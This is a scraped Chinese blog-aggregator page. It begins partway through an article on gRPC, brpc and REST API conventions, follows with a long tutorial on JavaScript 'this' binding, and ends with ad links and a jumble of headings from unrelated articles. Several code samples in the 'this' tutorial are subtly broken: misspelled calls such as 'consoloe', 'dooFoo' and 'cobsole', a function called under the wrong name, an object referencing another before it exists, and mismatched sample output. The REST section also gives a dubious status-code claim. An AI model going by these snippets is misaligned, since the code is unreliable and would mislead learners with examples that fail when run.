數據梳理完后，服務器需要使用Protocol Buffers重編譯應答數據，通過gRPC協議向交換機發送應答消息；
交換機收到應答消息后，結束本次的gRPC交互。

上圖展示的是gRPC交互過程的具體流程，這也是Telemetry觸發方式其中之一，稱為Dial-out模式。簡單地說，gRPC就是在客戶端和服務器端開啟gRPC功能后建立連接，將設備上配置的訂閱數據推送給服務器端。

2. brpc

與grpc類似，brpc源自百度，目前支撐百度內部大約 75 萬個同時在線的實例。
其實基於以上的幾種選擇都能夠完成高效的開發，團隊內部使用統一的標準，這樣更有利於模塊化和統一標準。
服務間的通信是通過輕量級的web服務，使用同步的REST API進行通信。在實際的項目應用中，一般推薦在查詢的時候使用同步機制，在增刪改使用異步的方式，結合消息隊列來實現數據的操作，以保證最終的數據一致性。
具體可以使用BRPC做如下

搭建能在一個端口支持多協議的服務, 或訪問各種服務
Server能同步或異步處理請求
Client支持同步、異步、半同步，或使用組合channels簡化複雜的分庫或併發訪問
通過http界面調試服務, 使用cpu, heap, contention profilers
獲得更好的延時和吞吐
把你組織中使用的協議快速地加入brpc，或定製各類組件, 包括命名服務 (dns, zk, etcd), 負載均衡 (rr, random, consistent hashing)

三、rest API

REST API 應為創建、檢索、更新和刪除操作使用標準 HTTP 動詞，而且應特別注意操作是否冪等。
POST 操作可用於創建資源。POST 操作的明顯特徵是它不是冪等的。舉例而言，如果使用 POST 請求創建資源，而且啟動該請求多次，那麼每次調用后都會創建一個新的唯一資源。
GET 操作必須是冪等的且不會產生意外結果。具體來講，帶有查詢參數的 GET 請求不應用於更改或更新信息（而應使用 POST、PUT 或 PATCH）。
PUT 操作可用於更新資源。PUT 操作通常包含要更新的資源的完整副本，使該操作具有冪等性。
PATCH 操作允許對資源執行部分更新。它們不一定是冪等的，具體取決於如何指定增量並應用到資源上。例如，如果一個 PATCH 操作表明一個值應從 A 改為 B，那麼它就是冪等的。如果它已啟動多次而且值已是 B，則沒有任何效果。對 PATCH 操作的支持仍不一致。例如，Java EE7 中的 JAX-RS 中沒有 @PATCH 註釋。
DELETE 操作用於刪除資源。刪除操作是冪等的，因為資源只能刪除一次。但是，返回代碼不同，因為第一次操作將成功 (200)，而後續調用不會找到資源 (204)。

四、你們怎麼解決

不同項目組之間使用的語言有可能不同，框架有可能不同，同樣的，通信協議有可能不同，你們怎麼解決的呢？

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

2020-10-16

一文梳理JavaScript中的this

最近零零碎碎看了許多關於this的文章，本着“好記性不如爛筆頭”的思想，特在這裏整理一下this有關的知識點。【長文警告！！！】

接下來，筆者將按照以下目錄對this進行闡述：

this是什麼？
this指向
- this在全局範圍內
- this在對象的構造函數內
- this在對象的方法內
- this在簡單函數內
- this在箭頭函數內
- this在一個事件偵聽器內
this綁定規則
- 默認綁定
- 隱式綁定
- 显示綁定（this修改）
- 優先級
箭頭函數

1. this是什麼？

this是JavaScript的一個關鍵字，但它時常矇著面紗讓人無法捉摸，許多對this不明就裡的同學，常常會有這樣的錯誤認知：

this在函數內指向函數自身

  function foo(num){
      console.log("foo: " + num);
  
      //記錄foo被調用次數
      this.count++;
  }
  foo.count = 0;
  for(let i=0; i<10; i++){
      if(i > 5){
          foo(i);
      }
  }
  console.log(foo.count); // 0， this並沒有指向foo函數，foo.count沒有進行任何操作

this在函數內指向函數的作用域

  function foo(){
      var a = 2;
      this.bar();
  }
  function bar(){
      console.log(this.a);
  }
  foo();// undefined, window對象沒有bar這一屬性

2. this指向

this的指向取決於他所處的環境. 大致上，可以分為下面的6種情況:

this在全局範圍內
this在對象的構造函數內
this在對象的方法內
this在一個簡單的函數內
this在箭頭函數內
this在一個事件偵聽器內

2.1 this在全局範圍內

this在全局範圍內綁定什麼呢？這個相信只要學過JS，應該都知道答案。如果不知道，同學真的應該反思自己的學習態度和方法是否存在問題了。話不多說，直接上代碼，一探究竟，揭開this在全局範圍下的真面目：

console.log(this); // Window

不出意外，this在全局範圍內指向window對象（）。通常, 在全局環境中, 我們很少使用this關鍵字, 因此對它也沒那麼在意. 讓我們繼續看下一個環境.

2.2 this在對象的構造函數內

當我們使用new創建構造函數的實例時會發生什麼呢？以這種方式調用構造函數會經歷以下四個步驟：

創建一個空對象；
將構造函數的作用域賦給新對象（this指向了這個新對象），繼承函數的原型；
執行構造函數中的代碼；
返回新對象。

看完上面的內容，大家想必也知道this在對象的構造函數內的指向了吧！當你使用new關鍵字創建一個對象的新的實例時, this關鍵字指向這個實例 .

舉個栗子：

function Human (age) {
    this.age = age;
}
let greg = new Human(22);
let thomas = new Human(24);

console.log(greg); // this.age = 22
console.log(thomas); // this.age = 24

// answer
Person { age:22}
Person { age:24}

2.3 this在對象方法內

方法是與對象關聯的函數的通俗叫法, 如下所示:

let o = {
    sayThis(){
        console.log(this);
    }
}

如上所示，在對象的任何方法內的this都是指向對象本身 .

好了，繼續下一個環境！

2.4 this在簡單函數內

可能看到這裏，許多同學心裏會有疑問，什麼是簡單函數？

其實簡單函數大家都很熟悉，就像下面一樣，以相同形式編寫的匿名函數也被認為是簡單函數（非箭頭函數）。

function hello(){
    console.log("hello"+this);
}

這裏需要注意，在瀏覽器中，不管函數聲明在哪裡，匿名或者不匿名，只要不是直接作為對象的方法，this指向始終是window對象（除非使用call,apply,bind修改this指向）。

舉個栗子說明一下：

// 显示函數，直接定義在sayThis方法內，this指向依舊不變
function simpleFunction() {
    console.log(this);
}

var o = {
    sayThis() {
        simpleFunction();
    }
}

simpleFunction(); // Window
o.sayThis(); // Window


// 匿名函數
var o = {
    sayThis(){
        (function(){consoloe.log(this);})();
    }
} 
o.sayThis();// Window

對於初學者來說，this在簡單函數內的表現時常讓他們懵逼不已，難道this不應該指向對象本身？這個問題曾經也出現在我的腦海里過，沒錯，在寫代碼時我也踩過這個坑。

通常的，當我們要在對象方法內調用函數，而這個函數需要用到this時，我們都會創建一個變量來保存對象中的this的引用. 通常, 這個變量名稱叫做self或者that。具體說下所示：

const o = {
    doSomethingLater() {
        const self = this;
        setTimeout(function() {
            self.speakLeet();
        }, 1000);
    },
    speakLeet() {
        console.log(`1337 15 4W350M3`);
    }
}

o.doSomethingLater(); // `1337 15 4W350M3`

心細的同學可能已經發現，這裏的簡單函數沒有將箭頭函數包括在內，那麼下一個環境是什麼想必也能猜到啦，那麼現在進入下一個環境，看看this指向什麼。

2.5 this在箭頭函數內

和簡單函數表現不太一樣，this在箭頭函數中總是跟它在箭頭函數所在作用域的this一樣(在它直接作用域). 所以, 如果你在對象中使用箭頭函數, 箭頭函數中的this總是指向這個對象本身, 而不是指向Window.

下面我們使用箭頭函數，重寫一下上面的案例：

const o = {
    doSomethingLater() {
        setTimeout(() => this.speakLeet(), 1000);
    },
    speakLeet() {
        console.log(`1337 15 4W350M3`);
    }
}
o.doSomethingLater(); // `1337 15 4W350M3`

最後，讓我們來看看最後一種環境 – 事件偵聽器.

2.6 this在事件偵聽器內

在事件偵聽器內, this被綁定的是觸發這個事件的元素:

let button = document.querySelector('button');

button.addEventListener('click', function() {
    console.log(this); // button
});

3. this綁定規則

事實上，只要記住上面this在不同環境的綁定值，足以應付大部分工作。然而，好學的同學總是會忍不住想說，為什麼呢？對，為什麼this在這些情況下綁定這些值呢？學習，我們不能只知其然，而不知所以然。所以，現在就讓我們來探尋，this值獲取的真相吧。

現在，讓我們回憶一下，在講什麼是this的時候，我們說到“this的綁定取決於他所處的環境”。這句話其實不是十分準確，準確的說，this不是編寫時綁定，而是運行時綁定。它依賴於函數調用的上下文條件。this綁定和函數聲明的位置無關，反而和函數被調用的方式有關。

當一個函數被調用時，會建立一個活動記錄，也稱為執行環境。這個記錄包含函數是從何處（call-stack）被調用的，函數是如何被調用的，被傳遞了什麼參數等信息。這個記錄的屬性之一，就是在函數執行期間將被使用的this引用。this實際上是在函數被調用時建立的一個綁定，它指向什麼是完全由函數被調用的調用點來決定的。

僅僅是規則

現在我們將注意力轉移到調用點如何決定在函數執行期間this指向哪裡。

你必須考察call-site並判定4種規則中的哪一個適用。我們將首先獨立的解釋一下這4種規則中的每一種，之後我們來展示一下如果有多種規則可以適用調用點時，它們的優先級。

3.1 默認綁定規則

第一種規則來源於函數調用的最常見的情況：獨立函數調用。可以認為這種this規則是在沒有其他規則適用時的默認規則。我們給它一個稱呼“默認綁定”.

現在來看這段代碼：

function foo(){
    console.log(this); 
}
var a = 2;
demo(); // 2

當foo()被調用時，this.a解析為我們的全局變量a。為什麼？因為在這種情況下，對此方法調用的this實施了默認綁定，所以使this指向了全局對象。

在我們的代碼段中，foo()是被一個直白的，毫無修飾的函數引用調用的。沒有其他的我們將要展示的規則適用於這裏，所以默認綁定在這裏適用。

如果strict mode在這裏生效，那麼對於默認綁定來說全局對象是不合法的，所以this將被設置為undefined。

'use strict'
function foo(){
    console.log(this.a); // TypeError: Cannot read property 'a' of undefined
}
const a = 1;
foo();

function foo(){
	'use strict'
    console.log(this.a); // TypeError: Cannot read property 'a' of undefined
}
const a = 1;
foo();

微妙的是，即便所有的this綁定規則都是完全基於調用點，如果foo()的內容沒有在strint mode下執行，對於默認綁定來說全局對象是唯一合法的；foo()的call-site的strict mode狀態與此無關。

function foo(){
    console.log(this.a); 
}
var a = 1;
(function(){
	'use strict';
	foo(); // 1
})();

注意：在代碼中故意混用strict mode和非strict mode通常是讓人皺眉頭的。你的程序整體可能應當不是 Strict 就是非Strict。然而，有時你可能會引用與你的 Strict 模式不同的第三方包，所以對這些微妙的兼容性細節要多加小心。

3.2 隱式綁定

另一種要考慮的規則是：調用點是否有一個環境對象（context object），也稱為擁有者（owning）或容器（containing）對象。

讓我們來看這段代碼：

function foo() {
    console.log(this.a);
}
let o = {
    a: 2,
    foo,
}
o.foo(); // 2

這裏，我們注意到foo函數被聲明然後作為對象o的方法，無論foo()是否一開始就在obj上被聲明，還是後來作為引用添加（如上面代碼所示），都是這個函數被obj所“擁有”或“包含”。這裏，調用點使用obj環境來引用函數，所以可以說 obj對象在函數被調用的時間點上“擁有”或“包含”這個函數引用。

當一個方法引用存在一個環境對象時，隱式綁定規則會說：是這個對象應當被用於這個函數調用的this綁定。

只有對象屬性引用鏈的最後一層是影響調用點的。比如：

function foo(){
    console.log(this.a);
}

var obj1 = {
    a:2,
    obj2:obj2
};
var obj2 = {
    a:42,
    foo:foo
};
obj1.obj2.foo(); // 42

隱式綁定的隱患

當一個隱含綁定丟失了它的綁定，這通常意味着它會退回到默認綁定，根據strict mode的狀態，結果不是全局對象就是undefined。

下面來看這段代碼：

function foo(){
    console.log(this.a);
}

var obj = {
    a:2,
    foo
};
var bar = obj.foo;
var a = "Global variable";
bar(); // "Global variable"

儘管bar似乎是obj.foo的引用，但實際上它只是另一個foo自己的引用而已。另外，起作用的調用點是bar()，一個直白，毫無修飾的調用，因此默認綁定適用於這裏。

這種情況發生的更加微妙，更常見，更意外的方式，是當我們考慮傳遞一個回調函數時：

function foo(){
    console.log(this.a);
}

function doFoo(fn){
	fn();
}

var obj = {
    a:2,
    foo,
};
var a = "Global variable";
dooFoo(obj.foo); // "Global variable"

參數傳遞僅僅是一種隱含的賦值，而且因為我們在傳遞一個函數，它是一個隱含的引用賦值，所以最終結果和我們前一個代碼段一樣。同樣的，語言內建，如setTimeout也一樣，如下所示

function foo(){
    console.log(this.a);
}

var obj = {
    a:2,
    foo,
};
var a = "Global variable";
setTimeout(obj.foo, 100); // "Global variable"

把這個粗糙的setTimeout()假想實現當做JavaScript環境內建的實現的話：

function setTimeout(fn, delay){
    // 等待delay毫秒
    fn();
}

正如我們看到的，隱含綁定丟失了它的綁定是十分常見的，不管哪一種意外改變this的方式，你都不能真正地控制你的回調函數引用將如何被執行，所以你（還）沒有辦法控制調用點給你一個故意的綁定。但是我們可以使用显示綁定強行固定this。

3.3 显示綁定

我們看到隱含綁定，需要我們不得不改變目標對象使它自身包含一個對函數的引用，而後使用這個函數引用屬性來間接地（隱含地）將this綁定到這個對象上。

但是，如果你想強制一個函數調用使用某個特定對象作為this綁定，而不在這個對象上放置一個函數引用屬性呢？

js有提供call()、apply()方法，ES5中也提供了內置的方法 Function.prototype.bind,可以引用一個對象時進行強制綁定調用。

考慮這段代碼：

function foo(){
    console.log(this.a);
}
var obj = {
    a:2,
};
foo.call(obj); // 2

通過foo.call(..)使用明確綁定來調用foo，允許我們強制函數的this指向obj。

如果你傳遞一個簡單原始類型值（string，boolean，或 number類型）作為this綁定，那麼這個原始類型值會被包裝在它的對象類型中（分別是new String(..)，new Boolean(..)，或new Number(..)）。這通常稱為“boxing（封箱）”。

注意：就this綁定的角度講，call(..)和apply(..)是完全一樣的。它們確實在處理其他參數上的方式不同，但那不是我們當前關心的。

單獨依靠call和apply，仍然可能出現函數“丟失”自己原本的this綁定，或者被第三方覆蓋等問題。

但有一個技巧可以避免出現這些問題

考慮這段代碼：

function foo(){
    console.log(this.a);
}
var obj = {
	a:2
};
var bar = function(){
	foo.call(obj);
}
bar(); // 2
setTimeout(bar, 100); // 2
bar.call(window); // 2

我們創建了一個函數bar()，在它的內部手動調用foo.call(obj)，由此強制this綁定到obj並調用foo。無論你過後怎樣調用函數bar，它總是手動使用obj調用foo。這種綁定即明確又堅定，該方法被開發者稱為 硬綁定(显示綁定的變種)（hard binding）

用硬綁定將一個函數包裝起來的最典型的方法，是為所有傳入的參數和傳出的返回值創建一個通道：

function foo(something){
    console.log(this.a, something);
    return this.a + something;
}
var obj = {
    a:2
};
var bar = function() {
    return foo.apply(obj, arguments);
}
var b = bar(3);
console.log(b); //  5

另一種表達這種模式的方法是創建一個可復用的幫助函數:

function foo(something){
    console.log(this.a, something);
    return this.a + something;
}

function bind(fn, obj){
    return function(){
        return fn.apply(obj, arguments);
    };
}

var obj = { a:2};
var bar = bind(foo, obj);
var b = bar(3);
console.log(b); // 5

由於硬綁定是一個如此常用的模式，它已作為ES5的內建工具提供，即前文提到的Function.prototype.bind：

function foo(something){
    console.log(this.a, something);
    return this.a + something;
}
var obj = { a:2};
var bar = foo.bind(obj);
var b = bar();
cobsole.log(b); // 5

bind(..)返回一個硬編碼的新函數，它使用你指定的this環境來調用原本的函數。

注意：在ES6中，bind(..)生成的硬綁定函數有一個名為.name的屬性，它源自於原始的目標函數（target function）。舉例來說：bar = foo.bind(..)應該會有一個bar.name屬性，它的值為”bound foo”，這個值應當會显示在調用棧軌跡的函數調用名稱中。

3.4new 綁定

第四種也是最後一種this綁定規則

當在函數前面被加入new調用時，也就是構造器調用時，下面這些事情會自動完成：

一個全新的對象會憑空創建（就是被構建）
這個新構建的對象會被接入原形鏈（[[Prototype]]-linked）
這個新構建的對象被設置為函數調用的this綁定
除非函數返回一個它自己的其他對象，這個被new調用的函數將自動返回這個新構建的對象。

考慮這段代碼：

function foo(a){
    console.log(this.a);
}
var bar = new foo(2);
console.log(bar.a); // 2

通過在前面使用new來調用foo(..)，我們構建了一個新的對象並這個新對象作為foo(..)調用的this。 new是函數調用可以綁定this的最後一種方式，我們稱之為 new綁定（new binding）。

3.5 優先級

new綁定
显示綁定
隱式綁定
默認綁定(嚴格模式下會綁定到undefined)

4. 箭頭函數

箭頭函數並非使用function關鍵字進行定義，而是通過所謂的“大箭頭”操作符：=>，所以不會使用上面所講解的this四種標準規範，箭頭函數從封閉它的（function或global）作用域採用this綁定，即箭頭函數會繼承自外層函數調用的this綁定。

執行 fruit.call(apple)時，箭頭函數this已被綁定，無法再次被修改。

function fruit(){
    return () => {
        console.log(this.name);
    }
}
var apple = {
    name: '蘋果'
}
var banana = {
    name: '香蕉'
}
var fruitCall = fruit.call(apple);
fruitCall.call(banana); // 蘋果

5. 小結

this是JavaScript的一個關鍵字，this不是編寫時綁定，而是運行時綁定。它依賴於函數調用的上下文條件。this綁定和函數聲明的位置無關，反而和函數被調用的方式有關。為執行中的函數判定this綁定需要找到這個函數的直接調用點。找到之後，4種規則將會以這個優先順序施用於調用點：

被new調用？使用新構建的對象。
被call或apply（或 bind）調用？使用指定的對象。
被持有調用的環境對象調用？使用那個環境對象。
默認：strict mode下是undefined，否則就是全局對

與這4種綁定規則不同，ES6的箭頭方法使用詞法作用域來決定this綁定，這意味着它們採用封閉他們的函數調用作為this綁定（無論它是什麼）。它們實質上是ES6之前的self = this代碼的語法替代品。

參考文章：

深入理解JavScript中的this

詳解JavaScript中的this

你不懂this:豁然開朗

你不懂this:this是什麼？

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

2020-10-16

標籤: 銷售文案

K8S是什麼？發展歷史

應用部署容器化的發展歷程

為什麼需要 Kubernetes，它能做什麼?

Kubernetes 不是什麼

Kubernetes 架構與組件

控制平面（Control Plane）組件

節點（Node） 組件

插件(Addons)

本文總結

參考文章

1.1 Service

1.2 Port

1.3 IP

參考文章

簡單介紹

前提知識

產生原因

類型

PortSwigger 其他實驗

能用來干什麼

檢測

修復

簡介

比特幣密碼學的基礎

單向散列函數（hash算法）

非對稱加密算法

擴展閱讀：同態加密

密鑰,地址和錢包

比特幣中的交易

擴展閱讀：圖靈非完備性

總結

前言

并行遍歷異步表象

并行遍歷異步本質

總結

四、模型類序列化器ModelSerializer

4.1 定義

4.2 指定字段

4.2.1) 使用fields來明確字段，__all__表名包含所有字段，也可以寫明具體哪些字段，如

4.2.2) 使用exclude可以明確排除掉哪些字段

4.2.3) 默認ModelSerializer使用主鍵作為關聯字段，但是我們可以使用depth來簡單的生成嵌套表示，depth應該是整數，表明嵌套的層級數量。如：

4.2.4) 显示指明字段，如：

4.2.5) 指明只讀字段

4.3 添加額外參數

一、接口調用

二、統一通信協議

1. gRPC簡介

2. brpc

三、rest API

四、你們怎麼解決

1. this是什麼？

2. this指向

2.1 this在全局範圍內

2.2 this在對象的構造函數內

2.3 this在對象方法內

2.4 this在簡單函數內

2.5 this在箭頭函數內

2.6 this在事件偵聽器內

3. this綁定規則

僅僅是規則

3.1 默認綁定規則

3.2 隱式綁定

3.3 显示綁定

3.4new 綁定

3.5 優先級

4. 箭頭函數

5. 小結

節點（Node）組件

4.2.1) 使用fields來明確字段，`all`表名包含所有字段，也可以寫明具體哪些字段，如